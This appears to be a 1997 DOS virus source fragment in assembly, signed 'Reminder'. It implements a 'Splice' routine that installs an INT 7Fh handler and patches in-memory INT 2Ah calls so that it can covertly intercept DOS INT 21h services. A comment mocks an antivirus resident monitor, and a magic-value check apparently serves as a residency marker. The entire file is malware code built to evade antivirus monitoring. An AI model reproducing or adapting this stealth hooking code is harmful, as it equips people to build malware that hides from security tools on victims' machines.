; (c) Reminder (1997)

;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
; Splice
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------

entry7f:		; bl/2 = ah , al = al
int 2ah		; Hello Avptsr ;))

push bp
mov bp,sp
cmp byte ptr [bp+9],30h
jnz hook
cmp di,';)'
jnz hook

mov bx,si
xchg bl,bh
shl bl,1
xor bh,bh

quit7f:
pop bp
retf 2


hook:
push ax
mov ah,bl
shr ah,1

call int_21
pop ax
jmp quit7f

;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
Hook_21:
;-----------------------------------------------------------------------------
Init_Splice:
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;				jmp other_way_2hook ; !!!

push es es
xor ax,ax
mov bx,ax
mov es,ax
mov di,7fh*4
mov ax,offset entry7f
stosw
pop ax
stosw

call find_2a_&change

mov ax,0d000h
mov es,ax
call find_2a_&change

pop es
or bx,bx
jz other_way_2hook

_ok_7f:
ret

;---
find_2a_&change:
mov di,0h
mov cx,0ffffh-2
@a1:
mov al,0cdh
repne scasb
jne @ex1
mov al,2ah
scasb
jne @a1
mov al,58h
scasb
jne @a1

mov al,7fh
dec di
dec di
stosb
inc bx
jmp @a1
@ex1:
ret

;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
entry21:
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
call int_21
db 0eah
old_21 dd 0
